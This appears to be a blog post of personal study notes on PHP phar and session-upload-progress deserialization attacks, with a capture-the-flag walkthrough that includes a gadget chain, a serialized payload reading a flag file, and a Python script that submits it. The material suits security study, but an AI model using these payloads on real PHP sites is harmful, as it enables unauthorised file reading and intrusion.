【心得】PHP反序列化高级利用(phar|session)个人笔记

news2024/11/27 15:41:01

目录

①phar反序列化

②session反序列化


①phar反序列化

phar 认为是java的jar包   calc.exe

phar能干什么

多个php合并为独立压缩包,不解压就能执行里面的php文件,支持web服务器和命令行

phar协议

phar://xxx.phar
$phar->setmetadata($h);
metaData可以存放一个类实例,会将这个类实例以序列化字符串形式存放至Phar文件内
当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串
总结:
1.生成phar包时,可以往metaData里面放对象
2.生成后,对象会自动序列化保存到phar包中
3.使用phar协议读取phar包时,如果当前脚本识别了这个类,会自动调用这个类的魔术方法

哪里使用的多

如果有上传点,上传文件的前半部分可控,后缀黑名单,不能上传危险的后缀为php phps phtml ini 没有禁止上传phar文件
能够上传phar文件,找到大量使用的file_exists等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包
就能自动进行反序列化

条件:
1 能够生成phar包并上传写入
2 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
3 有可利用的恶意类


可以触发phar反序列化的函数
fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() 
file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() 
filesize() is_dir() scandir() rmdir() highlight_file()

②session反序列化

在 PHP 中,PHP_SESSION_UPLOAD_PROGRESS是一个内置的会话变量,用于跟踪文件上传的进度。当使用 PHP 通过 HTTP POST 方法上传文件时,PHP 将自动创建并初始化这个变量。它的值表示上传文件的字节数。这个值可能会在整个上传过程中不断更新,以反映上传的实时进度。在一些情况下,可以使用这个变量来实现对上传进度的监控和处理。

php的session时存放在文件中的 默认位置时/tmp/sess_PHPSESSID
session 可以放字符串,数字,也可以放对象

1 session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2  session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

php序列化处理器方式
xxx|O:4:"user":2{s:8"username";N;s:8:"password";N;}
php_serialize序列化处理器方式
a:1:{s:3:"xxx";O:4:"user":2:{s:8"username";N;s:8:"password";N;}}

例题:web63

?phpinfo=看一眼phpinfo,应证了ini_set("session.serialize_handler", "php");

即用'|'识别,竖线以左代表session的key(键),竖线以右代表反序列化的字符串

?source=看一眼class.php 

贴出源码

<?php
    class Happy {
        public $happy;
        function __construct(){
                $this->happy="Happy_New_Year!!!";

        }
        function __destruct(){
                $this->happy->happy;

        }
        public function __call($funName, $arguments){
                die($this->happy->$funName);
        }

        public function __set($key,$value)
        {
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
            echo $this->happy;
        }


    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";

        }
        public function __call($funName, $arguments){
                echo $this->daniu.$funName."not exists!!!";
        }

        public function __invoke()
        {
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;

        }
        public function __get($key){
               echo $this->daniu.$key."not exists!!!";
        }

 }
    class Year{
        public $zodiac;
         public function __invoke()
        {
            echo "happy ".$this->zodiac." year!";

        }
         function __construct(){
                $this->zodiac="Hu";
        }
        public function __toString()
        {
                $this->show();

        }
        public function __set($key,$value)#3
        {
            $this->$key = $value;
        }

        public function show(){
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
            $this->zodiac = 'hu';
        }

    }
?>

先搓个链子

Happy::__destruct->_New_::__get->_New_::__toString->Year::__toString->Year::show

 构造

$h=new Happy();
$n=new _New_();
$n2=new _New_();
$y=new Year();
$n2->daniu=$y;
$n2->robot='zodiac';
$n2->notrobot='/f1ag';
$n->daniu=$n2;
$h->happy=$n;

echo serialize($h);

//O:5:"Happy":1:{s:5:"happy";O:5:"_New_":4:{s:5:"daniu";O:5:"_New_":4:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";s:2:"Hu";}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:5:"/f1ag";s:12:" _New_ _New_";N;}s:5:"robot";s:10:"I'm robot.";s:8:"notrobot";s:16:"I'm not a robot.";s:12:" _New_ _New_";N;}}

因为class.php的类都在初始界面注册,我们通过强制文件上传的形式,把filename存到session中,在session_start()触发反序列化,利用恶意类进行任意文件读取。

写个表单提交脚本

import  requests

p1='''a|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":4:{s:5:\"daniu\";O:5:\"_New_\":4:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";s:2:\"Hu\";}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:5:\"/f1ag\";s:12:\" _New_ _New_\";N;}s:5:\"robot\";s:10:\"I'm robot.\";s:8:\"notrobot\";s:16:\"I'm not a robot.\";s:12:\" _New_ _New_\";N;}}'''
url='http://edb45d1d-7acd-41da-8f1f-00b7b898cc21.challenges.ctfer.com:8080/'
session=requests.session()

file={'file':(p1,'aaa')}

data={"PHP_SESSION_UPLOAD_PROGRESS":123}

cookie={'PHPSESSID':'441a16842171ded17f387411ab56a85f'}

resp=session.post(url=url,data=data,files=file,cookies=cookie,proxies={'http':'127.0.0.1:8080'})
print(resp.text)

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1349250.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LanceDB:在对抗数据复杂性战役中,您可信赖的坐骑

LanceDB 建立在 Lance&#xff08;一种开源列式数据格式&#xff09;之上&#xff0c;具有一些有趣的功能&#xff0c;使其对 AI/ML 具有吸引力。例如&#xff0c;LanceDB 支持显式和隐式矢量化&#xff0c;能够处理各种数据类型。LanceDB 与 PyTorch 和 TensorFlow 等领先的 M…

三菱人机交互GT Designer的使用(三,指示灯,数值显示与输入,字符串显示与输入,日期|时间的显示)

今天继续对GT进行学习&#xff0c;如有不妥&#xff0c;欢迎指正&#xff01;&#xff01;&#xff01; 目录 指示灯设置 设置指示灯 位指示灯 字指示灯 数值输入&#xff0c;输出&#xff08;二者差距不大&#xff09; 数值显示与输出 数值显示&#xff08;只能显示&…

【Maven】工程依赖下载失败错误解决

在使用 Maven 构建项目时&#xff0c;可能会发生依赖项下载错误的情况&#xff0c;主要原因有以下几种&#xff1a; 下载依赖时出现网络故障或仓库服务器宕机等原因&#xff0c;导致无法连接至 Maven 仓库&#xff0c;从而无法下载依赖。 依赖项的版本号或配置文件中的版本号错…

【计算机毕业设计】ssm+mysql+jsp实现的在线bbs论坛系统源码

项目介绍 jspssm&#xff08;springspringMVCmybatis&#xff09;MySQL实现的在线bbs论坛系统源码&#xff0c;本系统主要实现了前台用户注册登陆、浏览帖子、发布帖子、个人信息管理、消息通知管理&#xff0c;积分管理&#xff0c;后台管理功能有&#xff1a;友情链接管理、…

怎么设计一个简单又直观的接口?

文章目录 问题的开端为什么从问题开始&#xff1f;自然而来的接口 一个接口一件事情减少依赖关系使用方式要“傻” 小结 开放的接口规范是使用者和实现者之间的合约。既然是合约&#xff0c;就要成文、清楚、稳定。合约是好东西&#xff0c;它可以让代码之间的组合有规可依。但…

Stable Diffusion API入门:简明教程

Stable Diffusion 是一个先进的深度学习模型&#xff0c;用于创造和修改图像。这个模型能够基于文本描述来生成图像&#xff0c;让机器理解和实现用户的创意。使用这项技术的关键在于掌握其 API&#xff0c;通过编程来操控图像生成的过程。 在探索 Stable Diffusion API 的世界…

爱思唯尔的KBS——模板、投稿、返修、接收的总结

第二篇论文终于是接受了QAQ&#xff0c;被审稿人疯狂拖时间&#xff0c;KBS是真难绷啊 由于之前发布过关于爱思唯尔旗下的ESWA博客&#xff0c;KBS和ESWA是类似的&#xff0c;因此本篇博客主要说下区别以及期间碰到的各种情况&#xff0c;有疑问依然可以在评论区说&#xff0c;…

【C语言】函数

函数是什么&#xff1f; “函数”是我们早些年在学习数学的过程中常见的概念&#xff0c;简单回顾一下&#xff1a;比如下图中&#xff0c;你给函数 f(x)2*x3 一个具体的x,这个函数通过一系列的计算来返回给你一个结果(图示如下)。 这就是数学中函数的基本过程和作用。但是你…

48、激活函数 - 梯度消失和梯度爆炸

简单介绍下梯度消失和梯度爆炸,这个不是重点,但是我觉得有必要再深入了解这个概念,以及很多激活函数为什么是可以防止梯度消失的。 梯度消失和梯度爆炸实际上是在神经网络训练过程中经常会遇到的两类问题,这两类问题都与梯度有关。 什么是梯度 在神经网络训练中,梯度是指…

Final Cut 视频剪辑快速入门,小白上手视频课的制作

本文是一个快速入门教程&#xff0c;如果您是0视频处理基础&#xff0c;又想录制网课或是一些对效果要求不高的视频那么这篇教程足够使用了。 本文主要用Final Cut处理视频课&#xff0c;本文是笔者在制作视频课过程中逐渐摸索的&#xff0c;如果您想制作一些比较专业的视频&a…

mysql原理--Explain详解

1.概述 一条查询语句在经过 MySQL 查询优化器的各种基于成本和规则的优化会后生成一个所谓的 执行计划 &#xff0c;这个执行计划展示了接下来具体执行查询的方式&#xff0c;比如多表连接的顺序是什么&#xff0c;对于每个表采用什么访问方法来具体执行查询等等。设计 MySQL 的…

【LMM 003】生物医学领域的垂直类大型多模态模型 LLaVA-Med

论文标题&#xff1a;LLaVA-Med: Training a Large Language-and-Vision Assistant for Biomedicine in One Day 论文作者&#xff1a;Chunyuan Li∗, Cliff Wong∗, Sheng Zhang∗, Naoto Usuyama, Haotian Liu, Jianwei Yang Tristan Naumann, Hoifung Poon, Jianfeng Gao 作…

uni-app 前后端调用实例 基于Springboot 下拉刷新实现

锋哥原创的uni-app视频教程&#xff1a; 2023版uniapp从入门到上天视频教程(Java后端无废话版)&#xff0c;火爆更新中..._哔哩哔哩_bilibili2023版uniapp从入门到上天视频教程(Java后端无废话版)&#xff0c;火爆更新中...共计23条视频&#xff0c;包括&#xff1a;第1讲 uni…

UDS诊断(ISO14229-1) 11服务

文章目录 功能简介应用场景请求和响应1、请求2、子功能3、肯定响应4、否定响应 报文示例UDS中常用 NRC参考 功能简介 11服务&#xff0c;即 ECUReset&#xff08;ECU重置&#xff09;服务&#xff0c;用来控制MCU进行重启&#xff0c;重启分为硬件重启和软件重启。 应用场景…

事件循环的理解

1.单线程 Js是一个单线程的语言,代码只能一行一行去执行,遇到同步的代码就直接执行了,如果遇到异步的代码怎么办&#xff1f; 不可能等到异步的代码执行完&#xff0c;在去执行后面同步的代码。 2.主线程 遇到同步的代码,就在主线程里面直接执行了。 3.任务队列 遇到异步的…

Vue中使用JavaScript中的requestAnimationFrame动画循环实现循环滚动效果-demo

效果 requestAnimationFrame是一个由浏览器提供的 JavaScript 方法&#xff0c;用于在下一次浏览器重绘之前执行指定的回调函数。它接受一个回调函数作为参数&#xff0c;并返回一个整数值&#xff0c;可以用于取消动画循环。 使用 requestAnimationFrame 可以创建平滑的动画效…

【AIGC-图片生成视频系列-5】I2V-Adapter:一种用于视频扩散模型的通用图像生成视频适配器

目录 一. 项目与贡献概述 二. 方法详解 a. 整体框架图 b. 帧相似性先验 三. 一般化图像生成动画结果 四. 基于个性化 T2I 模型的动画结果 五. 结合ControlNet动画结果 六. 项目论文和代码 七. 个人思考与总结 在快速发展的数字内容生成领域&#xff0c;焦点已从文本到…

C#中的Attribute详解(下)

C#中的Attribute详解&#xff08;下&#xff09; 一、Attribute本质二、Attribute实例化三、Attribute实例化的独特之处四、元数据的作用五、自定义Attribute实例六、Attribute的附着目标七、附加问题 一、Attribute本质 从上篇里我们可以看到&#xff0c;Attribute似乎总跟pu…

Linux基础知识点(五-信号)

一、信号的基本概念 1.1 信号的概念 信号&#xff08;signal&#xff09;&#xff0c;又称为软中断信号&#xff0c;用于通知进程发生了异步事件&#xff0c;它是Linux系统响应某些条件而产生的一个事件&#xff0c;它是在软件层次上对中断机制的一种模拟&#xff0c;是一种异…

12.29最小生成数K算法复习(注意输入输出格式),校园最短路径(通过PRE实现路径输出,以及输入输出格式注意)

7-2 最小生成树-kruskal算法 分数 15 const int maxn 1000; struct edge {int u, v, w; }e[maxn]; int n, m, f[30]; bool cmp(edge a, edge b) {return a.w < b.w; } int find(int x) {if (f[x] x) {return x;}else {f[x] find(f[x]);return f[x];} } //int arr[100…